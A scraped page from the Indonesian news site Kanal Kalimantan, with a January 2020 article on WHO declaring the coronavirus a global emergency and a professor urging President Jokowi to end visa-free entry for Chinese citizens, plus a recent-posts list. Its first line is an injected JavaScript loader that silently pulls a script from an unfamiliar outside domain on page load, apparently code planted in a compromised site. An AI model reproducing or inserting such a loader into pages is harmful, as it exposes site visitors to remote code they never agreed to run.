(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Corona Jadi Darurat Global, Jokowi Diminta Cabut Visa Bebas Warga China


KANALKALIMANTAN.COM, JAKARTA– Organisasi Kesehatan Dunia (WHO) menetapkan situasi darurat global terkait mewabah virus corona yang kekinian menelan 213 korban tewas di China. Guru Besar Hukum Internasional Universitas Indonesia Hikmahanto Juwana berharap pemerintah Indonesia sudah tidak lagi menganggap penyebaran virus corona sebagai hal yang biasa.

Hikmahanto menilai Presiden Joko Widodo atau Jokowi semestinya perlu melakukan rapat kabinet darurat untuk membahas kesiapan pemerintah guna menghadapi penyebaran virus corona. Kesiagaan juga dinilainya harus diterapkan di Kementerian Kesehatan.

“Protokol situasi darurat di Kementerian Kesehatan dan dinas-dinas kesehatan di berbagai daerah harus dimulai,” kata Hikmahanto dalam keterangan tertulisnya, Jumat (31/1/2020).
Kemudian Hikmahanto juga mengatakan bahwa mesti adanya identifikasi terhadap warga-warga Indonesia di daerah yang pernah dikunjungi oleh turis asal Wuhan, Provinsi Hubei, China.

Tak hanya itu, ia juga meminta Kementerian Hukum dan HAM (Kemenkumham) untuk segera mengusulkan kepada Jokowi agar segera mencabut visa bebas bagi WN China ke Indonesia.

Selain itu, ia menilai kalau pernyataan WHO tersebut akan berdampak pada pelambatan ekonomi dunia. Dengan begitu menurutnya menteri-menteri di bidang perekonomian menyiapkan langkah-langkah untuk mengamankan pengamanan perkonomian Indonesia.

“Para menteri yang bertanggung jawab di bidang ekonomi pun perlu memaparkan langkah-langkah untuk penyelamatan perekonomian Indonesia,” ujarnya.

“Pemerintah perlu juga mengerahkan para ahli mikrobiologi perlu segera melakukan kolaborasi dengan mitranya diberbagai penjuru dunia dalan menemukan anti-virus Corona,” sambungnya.

Untuk diketahui, Organisasi Kesehatan Dunia (WHO) pada Kamis (30/1/2020) waktu Jenewa, Swiss, akhirnya mengumumkan keadaan darurat global terkait penyebaran virus corona mematikan dari China.

Pengumuman yang sebelumnya sempat ‘ditunda’ itu dilakukan setelah korban tewas akibat virus corona di China mengalami lonjakan terbanyak pada satu hari.

Badan kesehatan PBB yang berbasis di Jenewa pada awalnya ‘meremehkan’ ancaman yang ditimbulkan oleh penyakit itu, yang kekinian hingga Jumat (31/1/2020) telah menewaskan 213 orang di China.

“Kekhawatiran terbesar kami adalah potensi penyebaran virus ke negara-negara dengan sistem kesehatan yang lebih lemah,” kata ketua WHO Tedros Adhanom Ghebreyesus dalam sebuah pengarahan di Jenewa sebagaimana dilansir dari Channel News Asia, Jumat (31/1/2020).

“Kita semua harus bertindak bersama sekarang untuk membatasi penyebaran lebih lanjut … Kita hanya bisa menghentikannya bersama,” katanya.(suara)

Reporter : Suara
Editor : Chell


Desy Arfianty

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

9 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

11 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

15 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

19 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

20 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

2 hari ago

This website uses cookies.